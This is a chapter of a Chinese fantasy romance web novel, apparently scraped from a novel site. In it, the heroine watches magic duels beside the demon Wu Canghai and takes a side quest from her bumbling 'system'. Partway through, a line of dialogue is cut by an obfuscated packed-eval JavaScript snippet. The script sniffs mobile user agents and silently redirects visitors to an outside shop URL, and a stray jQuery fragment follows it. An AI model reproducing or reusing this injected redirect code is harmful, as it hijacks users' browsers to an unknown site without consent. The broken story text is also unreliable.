文趣网 > 都市小说 > 带着糊涂系统追魔王 > 30. 第三十章
    训练场内震天的呼叫声不断,一个个魔族像是打了鸡血一样握着拳头趴在看台的栏杆上嘶声叫唤,恨不得冲下场跟着打一场。

    中央的训练台上,两个魔法师隔着一段距离,一人握住魔法长剑,一人握住魔法长刀,周身萦绕着魔力,互不相让。

    魔法长剑和魔法长刀都是魔导具,只要将魔力注入其中就能让刀剑威力成倍增长,甚至能转化魔力的能量成不同属性的魔法。这跟魔法杖是完全不同的概念,魔法杖就像身体的一部分,魔力通过魔法杖发出不止能够减少消耗,还能增加魔法的精准度,强度,甚至各种转换,用途特别多。

    魔导具虽然能增强攻击力或防御力,但是终究是一种大消耗。

    花半缘也不知道自己是怎么坐在巫沧海身旁的,就连流嫚也只是站在了巫沧海的身后。当她意识到身份是否不对的时候,便要站起来,却被巫沧海按住了手:“你不是要参加考核么,好好看人家是怎么战斗的。”

    按理来说,五等亲卫的实力都在中级和高级御灵师之间,花半缘现在已经接近中级御灵师的水平了,估计只要再过两天就能正式突破到中级御灵师。

    大概是巫沧海说得有道理,花半缘也察觉到巫沧海不让她站起来,她便心安理得地继续坐着,目光仅仅锁定在场中两位魔法师的交锋之中。

    只不过……为什么巫沧海的手还放在自己的手背上,是要揩油吗!

    花半缘动了动自己的手,想要提醒巫沧海该松手了,可是那个人只是唇角微勾什么都没有说,更没有收回手。

    花半缘咬了咬牙,打又打不过,只能自己抽回手了。就在她要这么做的时候,巫沧海紧了紧她的手,道:“别分心,好好看。”

    花半缘:“……”

    你松开手我就不会分心了!

    花半缘扭过头去,正要让巫沧海松手,可那人正认真地看着训练,脸上找不到一丝戏谑。

    “你是不是想吸?”

    花半缘不明白为什么巫沧海要拉着她的手,这未免也太过暧昧,而且还是在众多魔族面前,她就不怕会被误会吗?

    万一巫沧海的爱慕者跑来找自己麻烦怎么办?

    “是想。”

    巫沧海毫不掩饰地说出自己的想法,脸红耳赤的反倒是花半缘。花半缘怎么就忘了巫沧海脸皮最是厚?

    不过,话音落下之际,巫沧海松开了花半缘的手,道:“但我怕你羞死在这训练场里。”

    花半缘的脸更烫了,她当做自己没有听见巫沧海说的话,然后脖子像是僵硬了一般地看向中央训练台。

    只要想起自己龙嗜草的香味有催.情的成分,自己在巫沧海眼中就是一个行走的情药,她就觉得羞耻。

    胡图:【小花花,这里有个支线任务你做不?】

    花半缘被胡图的一句话拉回了神,至少把她暂时抽离有巫沧海在场的环境也好:【什么支线任务?】

    胡图:【在魔王城的各个店铺里找到一把叫暗影短刃的魔导具,加你十点商币,只要你有商币,我们就能打开系统商店了!】

    花半缘就知道有系统商店,这商币肯定是好东西,就是被糊涂的失误让她变成负资产,等打开系统商店后,或许她就可以走上金手指之路了。

    花半缘:【行,我接下了。】

    胡图:【时间是十天内,找不到的话就倒扣20。】

    花半缘大惊:【你不早说!】

    胡图:【你也没问啊!】

    花半缘一阵头皮发麻,她忍住怒火把目光依旧落在训练场上,这才发现原来训练场上的那个男人她见过。

    前几天,黄羽也不知道托了什么关系,拿到了这一次五等亲卫考核的参赛者名单,里面不止有名字还有照片,那是用魔法留影石记录下来的,所以每个人的样貌都能看清楚。

    这个男人叫蒙德,高级御灵师,擅长雷火魔法,长刀是他近战的大本领。只见他持刀一挥,魔法圆纹在刀前出现,然后化作一道雷火交加的刀气飞向另一个魔法师。

    那魔法师眼看就要格挡不及,人就要被那刀气劈成两半,花半缘心惊胆跳间却听见一个响指的声音响起,然后刀气就被一道轰然升起的冰墙阻挡下来。

    花半缘扭头去看巫沧海,她的手指依旧保持着打响指的姿势,脸色不大好看:“训练结束了,都下去。”

    巫沧海的声音明明不大,却响彻整座训练场,刚才的吵闹戛然而止,如今整座训练场只回荡着巫沧海的余音和残留在冰墙上那骇人的魔力气息。

    花半缘肩膀缩了缩,她本能地感觉到了恐惧,巫沧海那一道冰墙的虽然只是防御,但是魔力是一个魔法师最直观的能量体现。

    巫沧海的魔力充满着危险。

    魔法的运用源于想象力,如果一个人对于魔法的想象都是浪漫,那么魔力都会温和而浪漫的,好似魔力会长出一朵朵玫瑰花赠予别人一样。如果一个人对于魔力的想象全都是杀戮,那么魔力里都是刀光剑影,有着见血封喉的窒息感。

    巫沧海的就属于后者。

    花半缘嗅到了危险的气息,即便那股气息已经在快速地消散,可是她依旧敏锐地察觉到了……

    无论巫沧海如何对她友善,像个流氓,甚至有时候说话也温温柔柔的,底色却依旧是危险的,是十分危险那种。

    她怎么能够因为巫沧海对自己的好而放松警惕呢,怎么就忘了她是全书最危险的人物?

    这种感觉让花半缘回到了那个人族在医楼被杀的那日,那空间魔刃杀人于无形,血腥味与危险的魔力弥漫在空气中,叫嚣着恐惧的味道。

    “你在想什么?”

    巫沧海转头去看花半缘,然后轻轻拍了拍花半缘的手背,那人却如惊弓之鸟一般颤了一下。

    巫沧海看着花半缘苍白的侧脸轻笑:“害怕吗?”

    花半缘没有说话,喉间却上下滑动了一下,把她的不知所措彰显无遗。

    “害怕的话,那你要乖乖听话,别老说我流氓。”

    巫沧海的声音越来越低,身躯却往花半缘慢慢凑了过去,伴随而来的是她身上冷冷的栀子花香:“我会很伤心的。”

    花半缘僵硬地笑了笑。

    伤个头!你一刀就能把我砍死,还伤什么心!臭流氓!

    胡图:【一刀能把你砍死和她会伤心有什么必然联系吗?】

    花半缘:【没有,但你没看出来她分明就是在威胁我?】

    胡图:【没有诶!但她说伤心,你们人伤心了不是会哭吗?】

    花半缘:【……可她是魔族诶,而

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709241|207951||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    且你觉得巫姐会哭?】

    胡图:【……不会。】

    花半缘差点没忍住翻了个白眼,可是巫沧海就在身边,她就怕翻了,巫沧海以为这白眼归她。

    虽然花半缘也真的很想翻她白眼。

    “不想知道我伤心了会做什么吗?”

    巫沧海见花半缘鬓角滑下的细汗,眼底的玩味儿越重,几乎想要迫不及待看这个人惊慌失措的模样。

    花半缘本来想说不想知道,可想到巫沧海刚才说的‘听话’,她又说不出口,但说‘想’她更说不出,便只好沉默。

    巫沧海似乎也没有打算等待花半缘回应些什么,继续道:“我会吃了你,剥皮抽骨的……”

    花半缘本来还有些害怕,但是听巫沧海这么说突然就忍不住笑了出来,这多少有些滑稽了。她噗嗤的一声,转过头的瞬间正好对上巫沧海满是笑意的眼神,花半缘的心好像在那一秒停滞了。

    好近,好香……

    巫沧海戏谑的笑容也凝在了嘴角,她的目光慢悠悠地从花半缘那双璀璨的美眸,落到了她那饱满的唇上。

    那唇线似都勾勒着诱人的弧度……

    “打死他——!”

    “老大加油——!”

    在几声暴喝之中,二人从莫名的靠近中惊醒过来,然后有默契地转过头去不再看对方。花半缘张了张嘴,这才发现唇有些发抖,哆嗦了几下这才道:“你,你别吓我,你一吓我我就什么药都不记得了。”

    巫沧海此时已经恢复如常,只见她冷笑了一声,倒也不见恼怒,她道:“你在威胁我吗?”

    花半缘耸了耸肩,道:“我只是表达我很胆小。”

    花半缘也不知道自己抽了什么风,可就在巫沧海说要吃了自己的时候,她反而觉得巫沧海不会伤害自己,语气中甚至还听出来逗小西瓦一样的宠溺感。

    宠溺?花半缘觉得自己被胡图带偏了,脑子有些不对劲了。

    胡图:【喂!这是污蔑!】

    巫沧海轻笑一声,双腿交叠起来,姿态慵懒地靠在铁椅子上,道:“我看着你胆子倒是挺大的。”

    流嫚一直在身后看着,虽说并没有把她俩的互动都看得仔细,二人之间流动的气息,倒是让她大气都不敢出一下,只想把自己的存在感缩得最小。

    她好像不该出现在这里?

    台上对战打了一场又一场,直到一个纤细高挑的女人走了出来,她左眼戴着眼罩,目光直勾勾地看向花半缘。

    花半缘:“?”

    我有不祥的预感。

    “你,敢不敢跟我练一练?”

    那个女人花半缘认得,也在五等亲卫考核的参赛名单中,叫钟离离。

    她的眼睛……照片上,她可没有戴眼罩。

    “我?”

    花半缘指了指自己,整个训练场瞬间鸦雀无声,大家的目光纷纷看向花半缘,然后又看向巫沧海。

    “是!敢不敢!”

    钟离离中气十足,整个训练场都听得见她的声音,带着一种不容拒绝的执拗。

    花半缘提起一口气,大声道:“不敢——!”

    本想看好戏的巫沧海:“……”

    满心担忧的流嫚:“……”

    目瞪狗呆的胡图:【……】